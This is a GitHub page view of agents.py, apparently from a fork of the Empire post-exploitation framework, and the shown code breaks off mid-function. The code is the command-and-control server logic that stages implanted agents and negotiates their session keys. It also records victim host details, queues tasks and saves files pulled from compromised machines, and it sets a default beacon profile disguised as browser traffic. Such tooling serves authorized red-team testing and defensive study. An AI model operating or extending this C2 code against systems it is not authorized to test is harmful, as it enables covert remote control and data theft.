forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 586
/
agents.py
1799 lines (1553 loc) · 67.3 KB
/
agents.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
Main agent handling functionality for Empire.
The Agents() class in instantiated in ./server.py by the main menu and includes:
is_agent_present() - returns True if an agent is present in the self.agents cache
add_agent() - adds an agent to the self.agents cache and the backend database
remove_agent_db() - removes an agent from the self.agents cache and the backend database
is_ip_allowed() - checks if a supplied IP is allowed as per the whitelist/blacklist
save_file() - saves a file download for an agent to the appropriately constructed path.
save_module_file() - saves a module output file to the appropriate path
save_agent_log() - saves the agent console output to the agent's log file
is_agent_elevated() - checks whether a specific sessionID is currently elevated
get_agents_db() - returns all active agents from the database
get_agent_nonce_db() - returns the nonce for this sessionID
get_language_db() - returns the language used by this agent
get_agent_id_db() - returns an agent sessionID based on the name
get_agents_for_listener() - returns all agent objects linked to a given listener name
get_autoruns_db() - returns any global script autoruns
update_agent_sysinfo_db() - updates agent system information in the database
update_agent_lastseen_db() - updates the agent's last seen timestamp in the database
set_autoruns_db() - sets the global script autorun in the config in the database
clear_autoruns_db() - clears the currently set global script autoruns in the config in the database
handle_agent_staging() - handles agent staging neogotiation
handle_agent_data() - takes raw agent data and processes it appropriately.
handle_agent_request() - return any encrypted tasks for the particular agent
handle_agent_response() - parses agent raw replies into structures
process_agent_packet() - processes agent reply structures appropriately
handle_agent_data() is the main function that should be used by external listener modules
Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners.
"""
import base64
import contextlib
import json
import logging
import os
import queue
import string
import threading
import time
import warnings
from sqlalchemy import and_, or_
from sqlalchemy.orm import Session
from zlib_wrapper import decompress
from empire.server.api.v2.credential.credential_dto import CredentialPostRequest
from empire.server.common.helpers import KThread
from empire.server.common.socks import create_client, start_client
from empire.server.core.config import empire_config
from empire.server.core.db import models
from empire.server.core.db.base import SessionLocal
from empire.server.core.db.models import AgentTaskStatus
from empire.server.core.hooks import hooks
from empire.server.utils import datetime_util
from empire.server.utils.string_util import is_valid_session_id
from . import encryption, helpers, packets
log = logging.getLogger(__name__)
class Agents:
"""
Main class that contains agent communication functionality, including key
negotiation in process_get() and process_post().
For managing agents use core/agent_service.py.
"""
def __init__(self, MainMenu, args=None):
# pull out the controller objects
self.mainMenu = MainMenu
self.installPath = self.mainMenu.installPath
self.args = args
self.socksthread = {}
self.socksqueue = {}
self.socksclient = {}
# internal agent dictionary for the client's session key, funcions, and URI sets
# this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
# self.agents[sessionID] = { 'sessionKey' : clientSessionKey,
# 'language' : clientLanguage,
# 'functions' : [tab-completable function names for a script-import]
# }
self.agents = {}
# used to protect self.agents and self.mainMenu.conn during threaded listener access
self.lock = threading.Lock()
# Since each agent logs to a different file, we can have multiple locks to reduce
# waiting time when writing to the file.
self.agent_log_locks: dict[str, threading.Lock] = {}
# reinitialize any agents that already exist in the database
db_agents = self.get_agents_db()
for agent in db_agents:
agentInfo = {
"sessionKey": agent.session_key,
"language": agent.language,
"functions": agent.functions,
}
self.agents[agent["session_id"]] = agentInfo
# pull out common configs from the main menu object in server.py
self.ipWhiteList = self.mainMenu.ipWhiteList
self.ipBlackList = self.mainMenu.ipBlackList
###############################################################
#
# Misc agent methods
#
###############################################################
@staticmethod
def get_agent_from_name_or_session_id(agent_name, db: Session):
return (
db.query(models.Agent)
.filter(
or_(
models.Agent.name == agent_name,
models.Agent.session_id == agent_name,
)
)
.first()
)
def is_agent_present(self, sessionID):
"""
Checks if a given sessionID corresponds to an active agent.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
return sessionID in self.agents
def add_agent(
self,
sessionID,
externalIP,
delay,
jitter,
profile,
killDate,
workingHours,
lostLimit,
sessionKey=None,
nonce="",
listener="",
language="",
db=None,
):
"""
Add an agent to the internal cache and database.
"""
# generate a new key for this agent if one wasn't supplied
if not sessionKey:
sessionKey = encryption.generate_aes_key()
if not profile or profile == "":
profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
# add the agent
agent = models.Agent(
name=sessionID,
session_id=sessionID,
delay=delay,
jitter=jitter,
external_ip=externalIP,
session_key=sessionKey,
nonce=nonce,
profile=profile,
kill_date=killDate,
working_hours=workingHours,
lost_limit=lostLimit,
listener=listener,
language=language.lower(),
archived=False,
)
db.add(agent)
self.update_agent_lastseen_db(sessionID, db)
db.flush()
message = f"New agent {sessionID} checked in"
log.info(message)
# initialize the tasking/result buffers along with the client session key
self.agents[sessionID] = {
"sessionKey": sessionKey,
"language": agent.language.lower(),
"functions": [],
}
return agent
def remove_agent_db(self, session_id, db: Session):
"""
Remove an agent to the internal cache and database.
"""
# remove the agent from the internal cache
self.agents.pop(session_id, None)
# remove the agent from the database
agent = (
db.query(models.Agent).filter(models.Agent.session_id == session_id).first()
)
if agent:
db.delete(agent)
message = f"Agent {session_id} deleted"
log.info(message)
def is_ip_allowed(self, ip_address):
"""
Check if the ip_address meshes with the whitelist/blacklist, if set.
"""
if self.ipBlackList:
if self.ipWhiteList:
results = (
ip_address in self.ipWhiteList
and ip_address not in self.ipBlackList
)
return results
else:
results = ip_address not in self.ipBlackList
return results
if self.ipWhiteList:
results = ip_address in self.ipWhiteList
return results
else:
return True
def save_file(
self,
sessionID,
path,
data,
filesize,
tasking: models.AgentTask,
language: str,
db: Session,
append=False,
):
"""
Save a file download for an agent to the appropriately constructed path.
"""
# todo this doesn't work for non-windows. All files are stored flat.
parts = path.split("\\")
# construct the appropriate save path
download_dir = empire_config.directories.downloads
save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = os.path.basename(parts[-1])
save_file = save_path / filename
try:
self.lock.acquire()
# fix for 'skywalker' exploit by @zeroSteiner
safe_path = download_dir.absolute()
if not str(os.path.normpath(save_file)).startswith(str(safe_path)):
message = "Agent {} attempted skywalker exploit! Attempted overwrite of {} with data {}".format(
sessionID, path, data
)
log.warning(message)
return
# make the recursive directory structure if it doesn't already exist
if not save_path.exists():
os.makedirs(save_path)
# overwrite an existing file
mode = "ab" if append else "wb"
f = save_file.open(mode)
if "python" in language:
log.info(
f"Compressed size of {filename} download: {helpers.get_file_size(data)}"
)
d = decompress.decompress()
dec_data = d.dec_data(data)
log.info(
f"Final size of {filename} wrote: {helpers.get_file_size(dec_data['data'])}"
)
if not dec_data["crc32_check"]:
message = f"File agent {sessionID} failed crc32 check during decompression!\n[!] HEADER: Start crc32: {dec_data['header_crc32']} -- Received crc32: {dec_data['dec_crc32']} -- Crc32 pass: {dec_data['crc32_check']}!"
log.warning(message)
data = dec_data["data"]
f.write(data)
f.close()
if not append:
location = save_file
download = models.Download(
location=str(location),
filename=filename,
size=os.path.getsize(location),
)
db.add(download)
db.flush()
tasking.downloads.append(download)
# We join a Download to a Tasking
# But we also join a Download to a AgentFile
# This could be useful later on for showing files as downloaded directly in the file browser.
agent_file = (
db.query(models.AgentFile)
.filter(
and_(
models.AgentFile.path == path,
models.AgentFile.session_id == sessionID,
)
)
.first()
)
if agent_file:
agent_file.downloads.append(download)
db.flush()
finally:
self.lock.release()
percent = round(
int(os.path.getsize(str(save_file))) / int(filesize) * 100,
2,
)
# notify everyone that the file was downloaded
message = f"Part of file {filename} from {sessionID} saved [{percent}%] to {save_path}"
log.info(message)
def save_module_file(self, sessionID, path, data, language: str):
"""
Save a module output file to the appropriate path.
"""
parts = path.split("/")
# construct the appropriate save path
download_dir = empire_config.directories.downloads
save_path = download_dir / sessionID / "/".join(parts[0:-1])
filename = parts[-1]
save_file = save_path / filename
# decompress data if coming from a python agent:
if "python" in language:
log.info(
f"Compressed size of {filename} download: {helpers.get_file_size(data)}"
)
d = decompress.decompress()
dec_data = d.dec_data(data)
log.info(
f"Final size of {filename} wrote: {helpers.get_file_size(dec_data['data'])}"
)
if not dec_data["crc32_check"]:
message = f"File agent {sessionID} failed crc32 check during decompression!\n[!] HEADER: Start crc32: {dec_data['header_crc32']} -- Received crc32: {dec_data['dec_crc32']} -- Crc32 pass: {dec_data['crc32_check']}!"
log.warning(message)
data = dec_data["data"]
try:
self.lock.acquire()
safe_path = download_dir.absolute()
# fix for 'skywalker' exploit by @zeroSteiner
if not str(os.path.normpath(save_file)).startswith(str(safe_path)):
message = "agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
sessionID, path, data
)
log.warning(message)
return
# make the recursive directory structure if it doesn't already exist
if not save_path.exists():
os.makedirs(save_path)
# save the file out
with save_file.open("wb") as f:
f.write(data)
finally:
self.lock.release()
# notify everyone that the file was downloaded
message = f"File {path} from {sessionID} saved"
log.info(message)
return str(save_file)
def save_agent_log(self, session_id, data):
"""
Save the agent console output to the agent's log file.
"""
if isinstance(data, bytes):
data = data.decode("UTF-8")
save_path = empire_config.directories.downloads / session_id
# make the recursive directory structure if it doesn't already exist
if not save_path.exists():
os.makedirs(save_path)
current_time = helpers.get_datetime()
if session_id not in self.agent_log_locks:
self.agent_log_locks[session_id] = threading.Lock()
lock = self.agent_log_locks[session_id]
with lock, open(f"{save_path}/agent.log", "a") as f:
f.write("\n" + current_time + " : " + "\n")
f.write(data + "\n")
###############################################################
#
# Methods to get information from agent fields.
#
###############################################################
def is_agent_elevated(self, session_id):
"""
Check whether a specific sessionID is currently elevated.
This means root for OS X/Linux and high integrity for Windows.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
with SessionLocal() as db:
elevated = (
db.query(models.Agent.high_integrity)
.filter(models.Agent.session_id == session_id)
.scalar()
)
return elevated is True
def get_agents_db(self):
"""
Return all active agents from the database.
"""
with SessionLocal() as db:
results = db.query(models.Agent).all()
return results
def get_agent_nonce_db(self, session_id, db: Session):
"""
Return the nonce for this sessionID.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
nonce = (
db.query(models.Agent.nonce)
.filter(models.Agent.session_id == session_id)
.first()
)
if nonce and nonce is not None:
if isinstance(nonce, str):
return nonce
else:
return nonce[0]
def get_language_db(self, session_id):
"""
Return the language used by this agent.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
with SessionLocal() as db:
# see if we were passed a name instead of an ID
name_id = self.get_agent_id_db(session_id, db)
if name_id:
session_id = name_id
language = (
db.query(models.Agent.language)
.filter(models.Agent.session_id == session_id)
.scalar()
)
return language
def get_agent_id_db(self, name, db: Session = None):
"""
Get an agent sessionID based on the name.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
# db is optional for backwards compatibility until this function is phased out
with db or SessionLocal() as db:
agent = db.query(models.Agent).filter(models.Agent.name == name).first()
if agent:
return agent.session_id
return None
def get_agents_for_listener(self, listener_name):
"""
Return agent objects linked to a given listener name.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
with SessionLocal() as db:
agents = (
db.query(models.Agent.session_id)
.filter(models.Agent.listener == listener_name)
.all()
)
return [a[0] for a in agents]
def get_autoruns_db(self):
"""
Return any global script autoruns.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
with SessionLocal() as db:
results = db.query(models.Config.autorun_command).all()
if results[0].autorun_command:
autorun_command = results[0].autorun_command
else:
autorun_command = ""
results = db.query(models.Config.autorun_data).all()
autorun_data = results[0].autorun_data if results[0].autorun_data else ""
autoruns = [autorun_command, autorun_data]
return autoruns
def update_dir_list(self, session_id, response, db: Session):
""" "
Update the directory list
"""
if session_id in self.agents:
# get existing files/dir that are in this directory.
# delete them and their children to keep everything up to date.
# There's a cascading delete on the table.
# If there are any linked downloads, the association will be removed.
# This function could be updated in the future to do updates instead
# of clearing the whole tree on refreshes.
this_directory = (
db.query(models.AgentFile)
.filter(
and_(
models.AgentFile.session_id == session_id,
models.AgentFile.path == response["directory_path"],
),
)
.first()
)
if this_directory:
db.query(models.AgentFile).filter(
and_(
models.AgentFile.session_id == session_id,
models.AgentFile.parent_id == this_directory.id,
)
).delete()
else: # if the directory doesn't exist we have to create one
# parent is None for now even though it might have one. This is self correcting.
# If it's true parent is scraped, then this entry will get rewritten
this_directory = models.AgentFile(
name=response["directory_name"],
path=response["directory_path"],
parent_id=None,
is_file=False,
session_id=session_id,
)
db.add(this_directory)
db.flush()
for item in response["items"]:
db.query(models.AgentFile).filter(
and_(
models.AgentFile.session_id == session_id,
models.AgentFile.path == item["path"],
)
).delete()
db.add(
models.AgentFile(
name=item["name"],
path=item["path"],
parent_id=None if not this_directory else this_directory.id,
is_file=item["is_file"],
session_id=session_id,
)
)
def update_agent_sysinfo_db(
self,
db,
session_id,
listener="",
external_ip="",
internal_ip="",
username="",
hostname="",
os_details="",
high_integrity=0,
process_name="",
process_id="",
language_version="",
language="",
architecture="",
):
"""
Update an agent's system information.
"""
agent = (
db.query(models.Agent).filter(models.Agent.session_id == session_id).first()
)
host = (
db.query(models.Host)
.filter(
and_(
models.Host.name == hostname,
models.Host.internal_ip == internal_ip,
)
)
.first()
)
if not host:
host = models.Host(name=hostname, internal_ip=internal_ip)
db.add(host)
db.flush()
process = (
db.query(models.HostProcess)
.filter(
and_(
models.HostProcess.host_id == host.id,
models.HostProcess.process_id == process_id,
)
)
.first()
)
if not process:
process = models.HostProcess(
host_id=host.id,
process_id=process_id,
process_name=process_name,
user=agent.username,
)
db.add(process)
db.flush()
agent.internal_ip = internal_ip.split(" ")[0]
agent.username = username
agent.hostname = hostname
agent.host_id = host.id
agent.os_details = os_details
agent.high_integrity = high_integrity
agent.process_name = process_name
agent.process_id = process_id
agent.language_version = language_version
agent.language = language
agent.architecture = architecture
db.flush()
def update_agent_lastseen_db(self, session_id, db: Session):
"""
Update the agent's last seen timestamp in the database.
This checks to see if a timestamp already exists for the agent and ignores
it if it does. It is not super efficient to check the database on every checkin.
A better alternative would be to find a way to configure sqlalchemy to ignore
duplicate inserts or do upserts.
"""
checkin_time = datetime_util.getutcnow().replace(microsecond=0)
exists = (
db.query(models.AgentCheckIn)
.filter(
and_(
models.AgentCheckIn.agent_id == session_id,
models.AgentCheckIn.checkin_time == checkin_time,
)
)
.first()
)
if not exists:
db.add(models.AgentCheckIn(agent_id=session_id, checkin_time=checkin_time))
def set_autoruns_db(self, task_command, module_data):
"""
Set the global script autorun in the config in the database.
"""
warnings.warn(
"This has been deprecated and may be removed."
"Use agent_service.get_by_id() or agent_service.get_by_name() instead.",
DeprecationWarning,
stacklevel=2,
)
try:
with SessionLocal.begin() as db:
config = db.query(models.Config).first()
config.autorun_command = task_command
config.autorun_data = module_data
except Exception:
log.error(
"script autoruns not a database field, run --reset to reset DB schema."
)
log.warning("this will reset ALL agent connections!")
def clear_autoruns_db(self):
"""
Clear the currently set global script autoruns in the config in the database.
"""
with SessionLocal.begin() as db:
config = db.query(models.Config).first()
config.autorun_command = ""
config.autorun_data = ""
###############################################################
#
# Agent tasking methods
#
###############################################################
def get_queued_agent_tasks_db(self, session_id, db: Session):
"""
Retrieve tasks that have been queued for our agent from the database.
Set them to 'pulled'.
"""
if session_id not in self.agents:
log.error(f"Agent {session_id} not active.")
return []
else:
try:
tasks, total = self.mainMenu.agenttasksv2.get_tasks(
db=db,
agents=[session_id],
include_full_input=True,
status=AgentTaskStatus.queued,
)
for task in tasks:
task.status = AgentTaskStatus.pulled
return tasks
except AttributeError:
log.warning("Agent checkin during initialization.")
return []
def get_queued_agent_temporary_tasks(self, session_id):
"""
Retrieve temporary tasks that have been queued for our agent from the agenttasksv2.
"""
if session_id not in self.agents:
log.error(f"Agent {session_id} not active.")
return []
else:
try:
tasks = self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent(
session_id
)
return tasks
except AttributeError:
log.warning("Agent checkin during initialization.")
return []
###############################################################
#
# Agent staging/data processing components
#
###############################################################
def handle_agent_staging(
self,
sessionID,
language,
meta,
additional,
encData,
stagingKey,
listenerOptions,
clientIP="0.0.0.0",
db: Session = None,
):
"""
Handles agent staging/key-negotiation.
TODO: does this function need self.lock?
"""
listenerName = listenerOptions["Name"]["Value"]
if meta == "STAGE0":
# step 1 of negotiation -> client requests staging code
return "STAGE0"
elif meta == "STAGE1":
# step 3 of negotiation -> client posts public key
message = f"Agent {sessionID} from {clientIP} posted public key"
log.info(message)
# decrypt the agent's public key
try:
message = encryption.aes_decrypt_and_verify(stagingKey, encData)
except Exception:
# if we have an error during decryption
message = f"HMAC verification failed from '{sessionID}'"
log.error(message, exc_info=True)
return "ERROR: HMAC verification failed"
if language.lower() == "powershell" or language.lower() == "csharp":
# strip non-printable characters
message = "".join(
[x for x in message.decode("UTF-8") if x in string.printable]
)
# client posts RSA key
if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
message = f"Invalid PowerShell key post format from {sessionID}"
log.error(message)
return "ERROR: Invalid PowerShell key post format"
else:
# convert the RSA key from the stupid PowerShell export format
rsa_key = encryption.rsa_xml_to_key(message)
if rsa_key:
message = f"Agent {sessionID} from {clientIP} posted valid PowerShell RSA key"
log.info(message)
nonce = helpers.random_string(16, charset=string.digits)
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
# add the agent to the database now that it's "checked in"
agent = self.add_agent(
sessionID,
clientIP,
delay,
jitter,
profile,
killDate,
workingHours,
lostLimit,
nonce=nonce,
listener=listenerName,
db=db,
)
client_session_key = agent.session_key
data = f"{nonce}{client_session_key}"
data = data.encode("ascii", "ignore")
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
encrypted_msg = encryption.rsa_encrypt(rsa_key, data)
# TODO: wrap this in a routing packet!
return encrypted_msg
else:
message = f"Agent {sessionID} returned an invalid PowerShell public key!"
log.error(message)
return "ERROR: Invalid PowerShell public key"
elif language.lower() == "python":
if (len(message) < 1000) or (len(message) > 2500):
message = f"Invalid Python key post format from {sessionID}"
log.error(message)
return "Error: Invalid Python key post format from %s" % (sessionID)
else:
try:
int(message)
except Exception:
message = f"Invalid Python key post format from {sessionID}"
log.error(message)
return message
# client posts PUBc key
clientPub = int(message)
serverPub = encryption.DiffieHellman()
serverPub.genKey(clientPub)
# serverPub.key == the negotiated session key
nonce = helpers.random_string(16, charset=string.digits)
message = (
f"Agent {sessionID} from {clientIP} posted valid Python PUB key"
)
log.info(message)
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
# add the agent to the database now that it's "checked in"
self.add_agent(
sessionID,
clientIP,
delay,
jitter,
profile,
killDate,
workingHours,
lostLimit,
sessionKey=serverPub.key.hex(),
nonce=nonce,
listener=listenerName,
language=language,
db=db,
)
# step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs))
data = f"{nonce}{serverPub.publicKey}"
encrypted_msg = encryption.aes_encrypt_then_hmac(stagingKey, data)
# TODO: wrap this in a routing packet?
return encrypted_msg
else:
message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}"
log.info(message)
return f"ERROR: invalid language: {language}"
elif meta == "STAGE2":
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
try:
session_key = self.agents[sessionID]["sessionKey"]
if isinstance(session_key, str):
if language == "PYTHON":
session_key = bytes.fromhex(session_key)
else:
session_key = (self.agents[sessionID]["sessionKey"]).encode(
"UTF-8"
)
message = encryption.aes_decrypt_and_verify(session_key, encData)
parts = message.split(b"|")
if len(parts) < 12:
message = f"Agent {sessionID} posted invalid sysinfo checkin format: {message}"
log.info(message)
# remove the agent from the cache/database
self.remove_agent_db(sessionID, db)
return message
# verify the nonce
if int(parts[0]) != (int(self.get_agent_nonce_db(sessionID, db)) + 1):
message = f"Invalid nonce returned from {sessionID}"
log.error(message)
self.remove_agent_db(sessionID, db)
return f"ERROR: Invalid nonce returned from {sessionID}"
message = f"Nonce verified: agent {sessionID} posted valid sysinfo checkin format: {message}"
log.debug(message)
_listener = str(parts[1], "utf-8")
domainname = str(parts[2], "utf-8")
username = str(parts[3], "utf-8")
hostname = str(parts[4], "utf-8")
external_ip = clientIP
internal_ip = str(parts[5], "utf-8")
os_details = str(parts[6], "utf-8")
high_integrity = str(parts[7], "utf-8")
process_name = str(parts[8], "utf-8")
process_id = str(parts[9], "utf-8")
language = str(parts[10], "utf-8")
language_version = str(parts[11], "utf-8")